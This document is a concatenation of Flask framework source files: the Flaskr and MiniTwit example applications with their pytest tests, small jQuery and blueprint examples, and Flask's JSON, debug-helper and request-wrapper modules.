# Load default config and override config from an environment variable
app.config.update(dict(
    DATABASE=os.path.join(app.root_path, 'flaskr.db'),
    DEBUG=True,
    SECRET_KEY='development key',
    USERNAME='admin',
    PASSWORD='default'
))
app.config.from_envvar('FLASKR_SETTINGS', silent=True)


def connect_db():
    """Connects to the specific database."""
    rv = sqlite3.connect(app.config['DATABASE'])
    rv.row_factory = sqlite3.Row
    return rv


def init_db():
    """Initializes the database."""
    db = get_db()
    with app.open_resource('schema.sql', mode='r') as f:
        db.cursor().executescript(f.read())
    db.commit()


@app.cli.command('initdb')
def initdb_command():
    """Creates the database tables."""
    init_db()
    print('Initialized the database.')


def get_db():
    """Opens a new database connection if there is none yet for the
    current application context.
    """
    if not hasattr(g, 'sqlite_db'):
        g.sqlite_db = connect_db()
    return g.sqlite_db


@app.teardown_appcontext
def close_db(error):
    """Closes the database again at the end of the request."""
    if hasattr(g, 'sqlite_db'):
        g.sqlite_db.close()


@app.route('/')
def show_entries():
    db = get_db()
    cur = db.execute('select title, text from entries order by id desc')
    entries = cur.fetchall()
    return render_template('show_entries.html', entries=entries)


@app.route('/add', methods=['POST'])
def add_entry():
    if not session.get('logged_in'):
        abort(401)
    db = get_db()
    db.execute('insert into entries (title, text) values (?, ?)',
               [request.form['title'], request.form['text']])
    db.commit()
    flash('New entry was successfully posted')
    return redirect(url_for('show_entries'))


@app.route('/login', methods=['GET', 'POST'])
def login():
    error = None
    if request.method == 'POST':
        if request.form['username'] != app.config['USERNAME']:
            error = 'Invalid username'
        elif request.form['password'] != app.config['PASSWORD']:
            error = 'Invalid password'
        else:
            session['logged_in'] = True
            flash('You were logged in')
            return redirect(url_for('show_entries'))
    return render_template('login.html', error=error)


@app.route('/logout')
def logout():
    session.pop('logged_in', None)
    flash('You were logged out')
    return redirect(url_for('show_entries'))












# -*- coding: utf-8 -*-
"""
    Flaskr Tests
    ~~~~~~~~~~~~

    Tests the Flaskr application.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""

import pytest
import os
import tempfile

from context import flaskr

@pytest.fixture
def client(request):
    db_fd, flaskr.app.config['DATABASE'] = tempfile.mkstemp()
    flaskr.app.config['TESTING'] = True
    client = flaskr.app.test_client()
    with flaskr.app.app_context():
        flaskr.init_db()

    def teardown():
        os.close(db_fd)
        os.unlink(flaskr.app.config['DATABASE'])
    request.addfinalizer(teardown)

    return client


def login(client, username, password):
    return client.post('/login', data=dict(
        username=username,
        password=password
    ), follow_redirects=True)


def logout(client):
    return client.get('/logout', follow_redirects=True)


def test_empty_db(client):
    """Start with a blank database."""
    rv = client.get('/')
    assert b'No entries here so far' in rv.data


def test_login_logout(client):
    """Make sure login and logout works"""
    rv = login(client, flaskr.app.config['USERNAME'],
               flaskr.app.config['PASSWORD'])
    assert b'You were logged in' in rv.data
    rv = logout(client)
    assert b'You were logged out' in rv.data
    rv = login(client, flaskr.app.config['USERNAME'] + 'x',
               flaskr.app.config['PASSWORD'])
    assert b'Invalid username' in rv.data
    rv = login(client, flaskr.app.config['USERNAME'],
               flaskr.app.config['PASSWORD'] + 'x')
    assert b'Invalid password' in rv.data


def test_messages(client):
    """Test that messages work"""
    login(client, flaskr.app.config['USERNAME'],
          flaskr.app.config['PASSWORD'])
    rv = client.post('/add', data=dict(
        title='<Hello>',
        text='<strong>HTML</strong> allowed here'
    ), follow_redirects=True)
    assert b'No entries here so far' not in rv.data
    assert b'&lt;Hello&gt;' in rv.data
    assert b'<strong>HTML</strong> allowed here' in rv.data






import sys, os

basedir = os.path.dirname(os.path.abspath(__file__))
sys.path.insert(0, basedir + '/../')

from flaskr import flaskr





# -*- coding: utf-8 -*-
"""
    MiniTwit
    ~~~~~~~~

    A microblogging application written with Flask and sqlite3.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""

import time
from sqlite3 import dbapi2 as sqlite3
from hashlib import md5
from datetime import datetime
from flask import Flask, request, session, url_for, redirect, \
     render_template, abort, g, flash, _app_ctx_stack
from werkzeug import check_password_hash, generate_password_hash


# configuration
DATABASE = '/tmp/minitwit.db'
PER_PAGE = 30
DEBUG = True
SECRET_KEY = 'development key'

# create our little application :)
app = Flask(__name__)
app.config.from_object(__name__)
app.config.from_envvar('MINITWIT_SETTINGS', silent=True)


def get_db():
    """Opens a new database connection if there is none yet for the
    current application context.
    """
    top = _app_ctx_stack.top
    if not hasattr(top, 'sqlite_db'):
        top.sqlite_db = sqlite3.connect(app.config['DATABASE'])
        top.sqlite_db.row_factory = sqlite3.Row
    return top.sqlite_db


@app.teardown_appcontext
def close_database(exception):
    """Closes the database again at the end of the request."""
    top = _app_ctx_stack.top
    if hasattr(top, 'sqlite_db'):
        top.sqlite_db.close()


def init_db():
    """Initializes the database."""
    db = get_db()
    with app.open_resource('schema.sql', mode='r') as f:
        db.cursor().executescript(f.read())
    db.commit()


@app.cli.command('initdb')
def initdb_command():
    """Creates the database tables."""
    init_db()
    print('Initialized the database.')


def query_db(query, args=(), one=False):
    """Queries the database and returns a list of dictionaries."""
    cur = get_db().execute(query, args)
    rv = cur.fetchall()
    return (rv[0] if rv else None) if one else rv


def get_user_id(username):
    """Convenience method to look up the id for a username."""
    rv = query_db('select user_id from user where username = ?',
                  [username], one=True)
    return rv[0] if rv else None


def format_datetime(timestamp):
    """Format a timestamp for display."""
    return datetime.utcfromtimestamp(timestamp).strftime('%Y-%m-%d @ %H:%M')


def gravatar_url(email, size=80):
    """Return the gravatar image for the given email address."""
    return 'http://www.gravatar.com/avatar/%s?d=identicon&s=%d' % \
        (md5(email.strip().lower().encode('utf-8')).hexdigest(), size)


@app.before_request
def before_request():
    g.user = None
    if 'user_id' in session:
        g.user = query_db('select * from user where user_id = ?',
                          [session['user_id']], one=True)


@app.route('/')
def timeline():
    """Shows a users timeline or if no user is logged in it will
    redirect to the public timeline.  This timeline shows the user's
    messages as well as all the messages of followed users.
    """
    if not g.user:
        return redirect(url_for('public_timeline'))
    return render_template('timeline.html', messages=query_db('''
        select message.*, user.* from message, user
        where message.author_id = user.user_id and (
            user.user_id = ? or
            user.user_id in (select whom_id from follower
                                    where who_id = ?))
        order by message.pub_date desc limit ?''',
        [session['user_id'], session['user_id'], PER_PAGE]))


@app.route('/public')
def public_timeline():
    """Displays the latest messages of all users."""
    return render_template('timeline.html', messages=query_db('''
        select message.*, user.* from message, user
        where message.author_id = user.user_id
        order by message.pub_date desc limit ?''', [PER_PAGE]))


@app.route('/<username>')
def user_timeline(username):
    """Display's a users tweets."""
    profile_user = query_db('select * from user where username = ?',
                            [username], one=True)
    if profile_user is None:
        abort(404)
    followed = False
    if g.user:
        followed = query_db('''select 1 from follower where
            follower.who_id = ? and follower.whom_id = ?''',
            [session['user_id'], profile_user['user_id']],
            one=True) is not None
    return render_template('timeline.html', messages=query_db('''
            select message.*, user.* from message, user where
            user.user_id = message.author_id and user.user_id = ?
            order by message.pub_date desc limit ?''',
            [profile_user['user_id'], PER_PAGE]), followed=followed,
            profile_user=profile_user)


@app.route('/<username>/follow')
def follow_user(username):
    """Adds the current user as follower of the given user."""
    if not g.user:
        abort(401)
    whom_id = get_user_id(username)
    if whom_id is None:
        abort(404)
    db = get_db()
    db.execute('insert into follower (who_id, whom_id) values (?, ?)',
              [session['user_id'], whom_id])
    db.commit()
    flash('You are now following "%s"' % username)
    return redirect(url_for('user_timeline', username=username))


@app.route('/<username>/unfollow')
def unfollow_user(username):
    """Removes the current user as follower of the given user."""
    if not g.user:
        abort(401)
    whom_id = get_user_id(username)
    if whom_id is None:
        abort(404)
    db = get_db()
    db.execute('delete from follower where who_id=? and whom_id=?',
              [session['user_id'], whom_id])
    db.commit()
    flash('You are no longer following "%s"' % username)
    return redirect(url_for('user_timeline', username=username))


@app.route('/add_message', methods=['POST'])
def add_message():
    """Registers a new message for the user."""
    if 'user_id' not in session:
        abort(401)
    if request.form['text']:
        db = get_db()
        db.execute('''insert into message (author_id, text, pub_date)
          values (?, ?, ?)''', (session['user_id'], request.form['text'],
                                int(time.time())))
        db.commit()
        flash('Your message was recorded')
    return redirect(url_for('timeline'))


@app.route('/login', methods=['GET', 'POST'])
def login():
    """Logs the user in."""
    if g.user:
        return redirect(url_for('timeline'))
    error = None
    if request.method == 'POST':
        user = query_db('''select * from user where
            username = ?''', [request.form['username']], one=True)
        if user is None:
            error = 'Invalid username'
        elif not check_password_hash(user['pw_hash'],
                                     request.form['password']):
            error = 'Invalid password'
        else:
            flash('You were logged in')
            session['user_id'] = user['user_id']
            return redirect(url_for('timeline'))
    return render_template('login.html', error=error)


@app.route('/register', methods=['GET', 'POST'])
def register():
    """Registers the user."""
    if g.user:
        return redirect(url_for('timeline'))
    error = None
    if request.method == 'POST':
        if not request.form['username']:
            error = 'You have to enter a username'
        elif not request.form['email'] or \
                '@' not in request.form['email']:
            error = 'You have to enter a valid email address'
        elif not request.form['password']:
            error = 'You have to enter a password'
        elif request.form['password'] != request.form['password2']:
            error = 'The two passwords do not match'
        elif get_user_id(request.form['username']) is not None:
            error = 'The username is already taken'
        else:
            db = get_db()
            db.execute('''insert into user (
              username, email, pw_hash) values (?, ?, ?)''',
              [request.form['username'], request.form['email'],
               generate_password_hash(request.form['password'])])
            db.commit()
            flash('You were successfully registered and can login now')
            return redirect(url_for('login'))
    return render_template('register.html', error=error)


@app.route('/logout')
def logout():
    """Logs the user out."""
    flash('You were logged out')
    session.pop('user_id', None)
    return redirect(url_for('public_timeline'))


# add some filters to jinja
app.jinja_env.filters['datetimeformat'] = format_datetime
app.jinja_env.filters['gravatar'] = gravatar_url






# -*- coding: utf-8 -*-
"""
    MiniTwit Tests
    ~~~~~~~~~~~~~~

    Tests the MiniTwit application.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""
import os
import minitwit
import tempfile
import pytest


@pytest.fixture
def client(request):
    db_fd, minitwit.app.config['DATABASE'] = tempfile.mkstemp()
    client = minitwit.app.test_client()
    with minitwit.app.app_context():
        minitwit.init_db()

    def teardown():
        """Get rid of the database again after each test."""
        os.close(db_fd)
        os.unlink(minitwit.app.config['DATABASE'])
    request.addfinalizer(teardown)
    return client


def register(client, username, password, password2=None, email=None):
    """Helper function to register a user"""
    if password2 is None:
        password2 = password
    if email is None:
        email = username + '@example.com'
    return client.post('/register', data={
        'username':     username,
        'password':     password,
        'password2':    password2,
        'email':        email,
    }, follow_redirects=True)


def login(client, username, password):
    """Helper function to login"""
    return client.post('/login', data={
        'username': username,
        'password': password
    }, follow_redirects=True)


def register_and_login(client, username, password):
    """Registers and logs in in one go"""
    register(client, username, password)
    return login(client, username, password)


def logout(client):
    """Helper function to logout"""
    return client.get('/logout', follow_redirects=True)


def add_message(client, text):
    """Records a message"""
    rv = client.post('/add_message', data={'text': text},
                     follow_redirects=True)
    if text:
        assert b'Your message was recorded' in rv.data
    return rv


def test_register(client):
    """Make sure registering works"""
    rv = register(client, 'user1', 'default')
    assert b'You were successfully registered ' \
           b'and can login now' in rv.data
    rv = register(client, 'user1', 'default')
    assert b'The username is already taken' in rv.data
    rv = register(client, '', 'default')
    assert b'You have to enter a username' in rv.data
    rv = register(client, 'meh', '')
    assert b'You have to enter a password' in rv.data
    rv = register(client, 'meh', 'x', 'y')
    assert b'The two passwords do not match' in rv.data
    rv = register(client, 'meh', 'foo', email='broken')
    assert b'You have to enter a valid email address' in rv.data


def test_login_logout(client):
    """Make sure logging in and logging out works"""
    rv = register_and_login(client, 'user1', 'default')
    assert b'You were logged in' in rv.data
    rv = logout(client)
    assert b'You were logged out' in rv.data
    rv = login(client, 'user1', 'wrongpassword')
    assert b'Invalid password' in rv.data
    rv = login(client, 'user2', 'wrongpassword')
    assert b'Invalid username' in rv.data


def test_message_recording(client):
    """Check if adding messages works"""
    register_and_login(client, 'foo', 'default')
    add_message(client, 'test message 1')
    add_message(client, '<test message 2>')
    rv = client.get('/')
    assert b'test message 1' in rv.data
    assert b'&lt;test message 2&gt;' in rv.data


def test_timelines(client):
    """Make sure that timelines work"""
    register_and_login(client, 'foo', 'default')
    add_message(client, 'the message by foo')
    logout(client)
    register_and_login(client, 'bar', 'default')
    add_message(client, 'the message by bar')
    rv = client.get('/public')
    assert b'the message by foo' in rv.data
    assert b'the message by bar' in rv.data

    # bar's timeline should just show bar's message
    rv = client.get('/')
    assert b'the message by foo' not in rv.data
    assert b'the message by bar' in rv.data

    # now let's follow foo
    rv = client.get('/foo/follow', follow_redirects=True)
    assert b'You are now following &#34;foo&#34;' in rv.data

    # we should now see foo's message
    rv = client.get('/')
    assert b'the message by foo' in rv.data
    assert b'the message by bar' in rv.data

    # but on the user's page we only want the user's message
    rv = client.get('/bar')
    assert b'the message by foo' not in rv.data
    assert b'the message by bar' in rv.data
    rv = client.get('/foo')
    assert b'the message by foo' in rv.data
    assert b'the message by bar' not in rv.data

    # now unfollow and check if that worked
    rv = client.get('/foo/unfollow', follow_redirects=True)
    assert b'You are no longer following &#34;foo&#34;' in rv.data
    rv = client.get('/')
    assert b'the message by foo' not in rv.data
    assert b'the message by bar' in rv.data






# -*- coding: utf-8 -*-
"""
    jQuery Example
    ~~~~~~~~~~~~~~

    A simple application that shows how Flask and jQuery get along.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""
from flask import Flask, jsonify, render_template, request
app = Flask(__name__)


@app.route('/_add_numbers')
def add_numbers():
    """Add two numbers server side, ridiculous but well..."""
    a = request.args.get('a', 0, type=int)
    b = request.args.get('b', 0, type=int)
    return jsonify(result=a + b)


@app.route('/')
def index():
    return render_template('index.html')

if __name__ == '__main__':
    app.run()






from flask import Flask
from simple_page.simple_page import simple_page

app = Flask(__name__)
app.register_blueprint(simple_page)
# Blueprint can be registered many times
app.register_blueprint(simple_page, url_prefix='/pages')

if __name__=='__main__':
  app.run()






# -*- coding: utf-8 -*-
"""
    Blueprint Example Tests
    ~~~~~~~~~~~~~~

    Tests the Blueprint example app
"""
import pytest

import blueprintexample


@pytest.fixture
def client():
    return blueprintexample.app.test_client()


def test_urls(client):
    r = client.get('/')
    assert r.status_code == 200

    r = client.get('/hello')
    assert r.status_code == 200

    r = client.get('/world')
    assert r.status_code == 200

    # second blueprint instance
    r = client.get('/pages/hello')
    assert r.status_code == 200

    r = client.get('/pages/world')
    assert r.status_code == 200












from flask import Blueprint, render_template, abort
from jinja2 import TemplateNotFound

simple_page = Blueprint('simple_page', __name__,
                        template_folder='templates')

@simple_page.route('/', defaults={'page': 'index'})
@simple_page.route('/<page>')
def show(page):
    try:
        return render_template('pages/%s.html' % page)
    except TemplateNotFound:
        abort(404)






# -*- coding: utf-8 -*-
"""
    flask.jsonimpl
    ~~~~~~~~~~~~~~

    Implementation helpers for the JSON support in Flask.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""
import io
import uuid
from datetime import date
from .globals import current_app, request
from ._compat import text_type, PY2

from werkzeug.http import http_date
from jinja2 import Markup

# Use the same json implementation as itsdangerous on which we
# depend anyways.
from itsdangerous import json as _json


# Figure out if simplejson escapes slashes.  This behavior was changed
# from one version to another without reason.
_slash_escape = '\\/' not in _json.dumps('/')


__all__ = ['dump', 'dumps', 'load', 'loads', 'htmlsafe_dump',
           'htmlsafe_dumps', 'JSONDecoder', 'JSONEncoder',
           'jsonify']


def _wrap_reader_for_text(fp, encoding):
    if isinstance(fp.read(0), bytes):
        fp = io.TextIOWrapper(io.BufferedReader(fp), encoding)
    return fp


def _wrap_writer_for_text(fp, encoding):
    try:
        fp.write('')
    except TypeError:
        fp = io.TextIOWrapper(fp, encoding)
    return fp


class JSONEncoder(_json.JSONEncoder):
    """The default Flask JSON encoder.  This one extends the default simplejson
    encoder by also supporting ``datetime`` objects, ``UUID`` as well as
    ``Markup`` objects which are serialized as RFC 822 datetime strings (same
    as the HTTP date format).  In order to support more data types override the
    :meth:`default` method.
    """

    def default(self, o):
        """Implement this method in a subclass such that it returns a
        serializable object for ``o``, or calls the base implementation (to
        raise a :exc:`TypeError`).

        For example, to support arbitrary iterators, you could implement
        default like this::

            def default(self, o):
                try:
                    iterable = iter(o)
                except TypeError:
                    pass
                else:
                    return list(iterable)
                return JSONEncoder.default(self, o)
        """
        if isinstance(o, date):
            return http_date(o.timetuple())
        if isinstance(o, uuid.UUID):
            return str(o)
        if hasattr(o, '__html__'):
            return text_type(o.__html__())
        return _json.JSONEncoder.default(self, o)


class JSONDecoder(_json.JSONDecoder):
    """The default JSON decoder.  This one does not change the behavior from
    the default simplejson decoder.  Consult the :mod:`json` documentation
    for more information.  This decoder is not only used for the load
    functions of this module but also :attr:`~flask.Request`.
    """


def _dump_arg_defaults(kwargs):
    """Inject default arguments for dump functions."""
    if current_app:
        kwargs.setdefault('cls', current_app.json_encoder)
        if not current_app.config['JSON_AS_ASCII']:
            kwargs.setdefault('ensure_ascii', False)
        kwargs.setdefault('sort_keys', current_app.config['JSON_SORT_KEYS'])
    else:
        kwargs.setdefault('sort_keys', True)
        kwargs.setdefault('cls', JSONEncoder)


def _load_arg_defaults(kwargs):
    """Inject default arguments for load functions."""
    if current_app:
        kwargs.setdefault('cls', current_app.json_decoder)
    else:
        kwargs.setdefault('cls', JSONDecoder)


def dumps(obj, **kwargs):
    """Serialize ``obj`` to a JSON formatted ``str`` by using the application's
    configured encoder (:attr:`~flask.Flask.json_encoder`) if there is an
    application on the stack.

    This function can return ``unicode`` strings or ascii-only bytestrings by
    default which coerce into unicode strings automatically.  That behavior by
    default is controlled by the ``JSON_AS_ASCII`` configuration variable
    and can be overridden by the simplejson ``ensure_ascii`` parameter.
    """
    _dump_arg_defaults(kwargs)
    encoding = kwargs.pop('encoding', None)
    rv = _json.dumps(obj, **kwargs)
    if encoding is not None and isinstance(rv, text_type):
        rv = rv.encode(encoding)
    return rv


def dump(obj, fp, **kwargs):
    """Like :func:`dumps` but writes into a file object."""
    _dump_arg_defaults(kwargs)
    encoding = kwargs.pop('encoding', None)
    if encoding is not None:
        fp = _wrap_writer_for_text(fp, encoding)
    _json.dump(obj, fp, **kwargs)


def loads(s, **kwargs):
    """Unserialize a JSON object from a string ``s`` by using the application's
    configured decoder (:attr:`~flask.Flask.json_decoder`) if there is an
    application on the stack.
    """
    _load_arg_defaults(kwargs)
    if isinstance(s, bytes):
        s = s.decode(kwargs.pop('encoding', None) or 'utf-8')
    return _json.loads(s, **kwargs)


def load(fp, **kwargs):
    """Like :func:`loads` but reads from a file object.
    """
    _load_arg_defaults(kwargs)
    if not PY2:
        fp = _wrap_reader_for_text(fp, kwargs.pop('encoding', None) or 'utf-8')
    return _json.load(fp, **kwargs)


def htmlsafe_dumps(obj, **kwargs):
    """Works exactly like :func:`dumps` but is safe for use in ``<script>``
    tags.  It accepts the same arguments and returns a JSON string.  Note that
    this is available in templates through the ``|tojson`` filter which will
    also mark the result as safe.  Due to how this function escapes certain
    characters this is safe even if used outside of ``<script>`` tags.

    The following characters are escaped in strings:

    -   ``<``
    -   ``>``
    -   ``&``
    -   ``'``

    This makes it safe to embed such strings in any place in HTML with the
    notable exception of double quoted attributes.  In that case single
    quote your attributes or HTML escape it in addition.

    .. versionchanged:: 0.10
       This function's return value is now always safe for HTML usage, even
       if outside of script tags or if used in XHTML.  This rule does not
       hold true when using this function in HTML attributes that are double
       quoted.  Always single quote attributes if you use the ``|tojson``
       filter.  Alternatively use ``|tojson|forceescape``.
    """
    rv = dumps(obj, **kwargs) \
        .replace(u'<', u'\\u003c') \
        .replace(u'>', u'\\u003e') \
        .replace(u'&', u'\\u0026') \
        .replace(u"'", u'\\u0027')
    if not _slash_escape:
        rv = rv.replace('\\/', '/')
    return rv


def htmlsafe_dump(obj, fp, **kwargs):
    """Like :func:`htmlsafe_dumps` but writes into a file object."""
    fp.write(text_type(htmlsafe_dumps(obj, **kwargs)))


def jsonify(*args, **kwargs):
    """This function wraps :func:`dumps` to add a few enhancements that make
    life easier.  It turns the JSON output into a :class:`~flask.Response`
    object with the :mimetype:`application/json` mimetype.  For convenience, it
    also converts multiple arguments into an array or multiple keyword arguments
    into a dict.  This means that both ``jsonify(1,2,3)`` and
    ``jsonify([1,2,3])`` serialize to ``[1,2,3]``.

    For clarity, the JSON serialization behavior has the following differences
    from :func:`dumps`:

    1. Single argument: Passed straight through to :func:`dumps`.
    2. Multiple arguments: Converted to an array before being passed to
       :func:`dumps`.
    3. Multiple keyword arguments: Converted to a dict before being passed to
       :func:`dumps`.
    4. Both args and kwargs: Behavior undefined and will throw an exception.

    Example usage::

        from flask import jsonify

        @app.route('/_get_current_user')
        def get_current_user():
            return jsonify(username=g.user.username,
                           email=g.user.email,
                           id=g.user.id)

    This will send a JSON response like this to the browser::

        {
            "username": "admin",
            "email": "admin@localhost",
            "id": 42
        }


    .. versionchanged:: 0.11
       Added support for serializing top-level arrays. This introduces a
       security risk in ancient browsers. See :ref:`json-security` for details.

    This function's response will be pretty printed if it was not requested
    with ``X-Requested-With: XMLHttpRequest`` to simplify debugging unless
    the ``JSONIFY_PRETTYPRINT_REGULAR`` config parameter is set to false.
    Compressed (not pretty) formatting currently means no indents and no
    spaces after separators.

    .. versionadded:: 0.2
    """

    indent = None
    separators = (',', ':')

    if current_app.config['JSONIFY_PRETTYPRINT_REGULAR'] and not request.is_xhr:
        indent = 2
        separators = (', ', ': ')

    if args and kwargs:
        raise TypeError('jsonify() behavior undefined when passed both args and kwargs')
    elif len(args) == 1:  # single args are passed directly to dumps()
        data = args[0]
    else:
        data = args or kwargs

    return current_app.response_class(
        (dumps(data, indent=indent, separators=separators), '\n'),
        mimetype=current_app.config['JSONIFY_MIMETYPE']
    )


def tojson_filter(obj, **kwargs):
    return Markup(htmlsafe_dumps(obj, **kwargs))






# -*- coding: utf-8 -*-
"""
    flask.debughelpers
    ~~~~~~~~~~~~~~~~~~

    Various helpers to make the development experience better.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""
from ._compat import implements_to_string, text_type
from .app import Flask
from .blueprints import Blueprint
from .globals import _request_ctx_stack


class UnexpectedUnicodeError(AssertionError, UnicodeError):
    """Raised in places where we want some better error reporting for
    unexpected unicode or binary data.
    """


@implements_to_string
class DebugFilesKeyError(KeyError, AssertionError):
    """Raised from request.files during debugging.  The idea is that it can
    provide a better error message than just a generic KeyError/BadRequest.
    """

    def __init__(self, request, key):
        form_matches = request.form.getlist(key)
        buf = ['You tried to access the file "%s" in the request.files '
               'dictionary but it does not exist.  The mimetype for the request '
               'is "%s" instead of "multipart/form-data" which means that no '
               'file contents were transmitted.  To fix this error you should '
               'provide enctype="multipart/form-data" in your form.' %
               (key, request.mimetype)]
        if form_matches:
            buf.append('\n\nThe browser instead transmitted some file names. '
                       'This was submitted: %s' % ', '.join('"%s"' % x
                            for x in form_matches))
        self.msg = ''.join(buf)

    def __str__(self):
        return self.msg


class FormDataRoutingRedirect(AssertionError):
    """This exception is raised by Flask in debug mode if it detects a
    redirect caused by the routing system when the request method is not
    GET, HEAD or OPTIONS.  Reasoning: form data will be dropped.
    """

    def __init__(self, request):
        exc = request.routing_exception
        buf = ['A request was sent to this URL (%s) but a redirect was '
               'issued automatically by the routing system to "%s".'
               % (request.url, exc.new_url)]

        # In case just a slash was appended we can be extra helpful
        if request.base_url + '/' == exc.new_url.split('?')[0]:
            buf.append('  The URL was defined with a trailing slash so '
                       'Flask will automatically redirect to the URL '
                       'with the trailing slash if it was accessed '
                       'without one.')

        buf.append('  Make sure to directly send your %s-request to this URL '
                   'since we can\'t make browsers or HTTP clients redirect '
                   'with form data reliably or without user interaction.' %
                   request.method)
        buf.append('\n\nNote: this exception is only raised in debug mode')
        AssertionError.__init__(self, ''.join(buf).encode('utf-8'))


def attach_enctype_error_multidict(request):
    """Since Flask 0.8 we're monkeypatching the files object in case a
    request is detected that does not use multipart form data but the files
    object is accessed.
    """
    oldcls = request.files.__class__
    class newcls(oldcls):
        def __getitem__(self, key):
            try:
                return oldcls.__getitem__(self, key)
            except KeyError:
                if key not in request.form:
                    raise
                raise DebugFilesKeyError(request, key)
    newcls.__name__ = oldcls.__name__
    newcls.__module__ = oldcls.__module__
    request.files.__class__ = newcls


def _dump_loader_info(loader):
    yield 'class: %s.%s' % (type(loader).__module__, type(loader).__name__)
    for key, value in sorted(loader.__dict__.items()):
        if key.startswith('_'):
            continue
        if isinstance(value, (tuple, list)):
            if not all(isinstance(x, (str, text_type)) for x in value):
                continue
            yield '%s:' % key
            for item in value:
                yield '  - %s' % item
            continue
        elif not isinstance(value, (str, text_type, int, float, bool)):
            continue
        yield '%s: %r' % (key, value)


def explain_template_loading_attempts(app, template, attempts):
    """This should help developers understand what failed"""
    info = ['Locating template "%s":' % template]
    total_found = 0
    blueprint = None
    reqctx = _request_ctx_stack.top
    if reqctx is not None and reqctx.request.blueprint is not None:
        blueprint = reqctx.request.blueprint

    for idx, (loader, srcobj, triple) in enumerate(attempts):
        if isinstance(srcobj, Flask):
            src_info = 'application "%s"' % srcobj.import_name
        elif isinstance(srcobj, Blueprint):
            src_info = 'blueprint "%s" (%s)' % (srcobj.name,
                                                srcobj.import_name)
        else:
            src_info = repr(srcobj)

        info.append('% 5d: trying loader of %s' % (
            idx + 1, src_info))

        for line in _dump_loader_info(loader):
            info.append('       %s' % line)

        if triple is None:
            detail = 'no match'
        else:
            detail = 'found (%r)' % (triple[1] or '<string>')
            total_found += 1
        info.append('       -> %s' % detail)

    seems_fishy = False
    if total_found == 0:
        info.append('Error: the template could not be found.')
        seems_fishy = True
    elif total_found > 1:
        info.append('Warning: multiple loaders returned a match for the template.')
        seems_fishy = True

    if blueprint is not None and seems_fishy:
        info.append('  The template was looked up from an endpoint that '
                    'belongs to the blueprint "%s".' % blueprint)
        info.append('  Maybe you did not place a template in the right folder?')
        info.append('  See http://flask.pocoo.org/docs/blueprints/#templates')

    app.logger.info('\n'.join(info))






# -*- coding: utf-8 -*-
"""
    flask.wrappers
    ~~~~~~~~~~~~~~

    Implements the WSGI wrappers (request and response).

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""

from werkzeug.wrappers import Request as RequestBase, Response as ResponseBase
from werkzeug.exceptions import BadRequest

from . import json
from .globals import _request_ctx_stack

_missing = object()


def _get_data(req, cache):
    getter = getattr(req, 'get_data', None)
    if getter is not None:
        return getter(cache=cache)
    return req.data


class Request(RequestBase):
    """The request object used by default in Flask.  Remembers the
    matched endpoint and view arguments.

    It is what ends up as :class:`~flask.request`.  If you want to replace
    the request object used you can subclass this and set
    :attr:`~flask.Flask.request_class` to your subclass.

    The request object is a :class:`~werkzeug.wrappers.Request` subclass and
    provides all of the attributes Werkzeug defines plus a few Flask
    specific ones.
    """

    #: The internal URL rule that matched the request.  This can be
    #: useful to inspect which methods are allowed for the URL from
    #: a before/after handler (``request.url_rule.methods``) etc.
    #:
    #: .. versionadded:: 0.6
    url_rule = None

    #: A dict of view arguments that matched the request.  If an exception
    #: happened when matching, this will be ``None``.
    view_args = None

    #: If matching the URL failed, this is the exception that will be
    #: raised / was raised as part of the request handling.  This is
    #: usually a :exc:`~werkzeug.exceptions.NotFound` exception or
    #: something similar.
    routing_exception = None

    # Switched by the request context until 1.0 to opt in deprecated
    # module functionality.
    _is_old_module = False

    @property
    def max_content_length(self):
        """Read-only view of the ``MAX_CONTENT_LENGTH`` config key."""
        ctx = _request_ctx_stack.top
        if ctx is not None:
            return ctx.app.config['MAX_CONTENT_LENGTH']

    @property
    def endpoint(self):
        """The endpoint that matched the request.  This in combination with
        :attr:`view_args` can be used to reconstruct the same or a
        modified URL.  If an exception happened when matching, this will
        be ``None``.
        """
        if self.url_rule is not None:
            return self.url_rule.endpoint

    @property
    def module(self):
        """The name of the current module if the request was dispatched
        to an actual module.  This is deprecated functionality, use blueprints
        instead.
        """
        from warnings import warn
        warn(DeprecationWarning('modules were deprecated in favor of '
                                'blueprints.  Use request.blueprint '
                                'instead.'), stacklevel=2)
        if self._is_old_module:
            return self.blueprint

    @property
    def blueprint(self):
        """The name of the current blueprint"""
        if self.url_rule and '.' in self.url_rule.endpoint:
            return self.url_rule.endpoint.rsplit('.', 1)[0]

    @property
    def json(self):
        """If the mimetype is :mimetype:`application/json` this will contain the
        parsed JSON data.  Otherwise this will be ``None``.

        The :meth:`get_json` method should be used instead.
        """
        from warnings import warn
        warn(DeprecationWarning('json is deprecated.  '
                                'Use get_json() instead.'), stacklevel=2)
        return self.get_json()

    @property
    def is_json(self):
        """Indicates if this request is JSON or not.  By default a request
        is considered to include JSON data if the mimetype is
        :mimetype:`application/json` or :mimetype:`application/*+json`.

        .. versionadded:: 0.11
        """
        mt = self.mimetype
        if mt == 'application/json':
            return True
        if mt.startswith('application/') and mt.endswith('+json'):
            return True
        return False

    def get_json(self, force=False, silent=False, cache=True):
        """Parses the incoming JSON request data and returns it.  By default
        this function will return ``None`` if the mimetype is not
        :mimetype:`application/json` but this can be overridden by the
        ``force`` parameter. If parsing fails the
        :meth:`on_json_loading_failed` method on the request object will be
        invoked.

        :param force: if set to ``True`` the mimetype is ignored.
        :param silent: if set to ``True`` this method will fail silently
                       and return ``None``.
        :param cache: if set to ``True`` the parsed JSON data is remembered
                      on the request.
        """
        rv = getattr(self, '_cached_json', _missing)
        if rv is not _missing:
            return rv

        if not (force or self.is_json):
            return None

        # We accept a request charset against the specification as
        # certain clients have been using this in the past.  This
        # fits our general approach of being nice in what we accept
        # and strict in what we send out.
        request_charset = self.mimetype_params.get('charset')
        try:
            data = _get_data(self, cache)
            if request_charset is not None:
                rv = json.loads(data, encoding=request_charset)
            else:
                rv = json.loads(data)
        except ValueError as e:
            if silent:
                rv = None
            else:
                rv = self.on_json_loading_failed(e)
        if cache:
            self._cached_json = rv
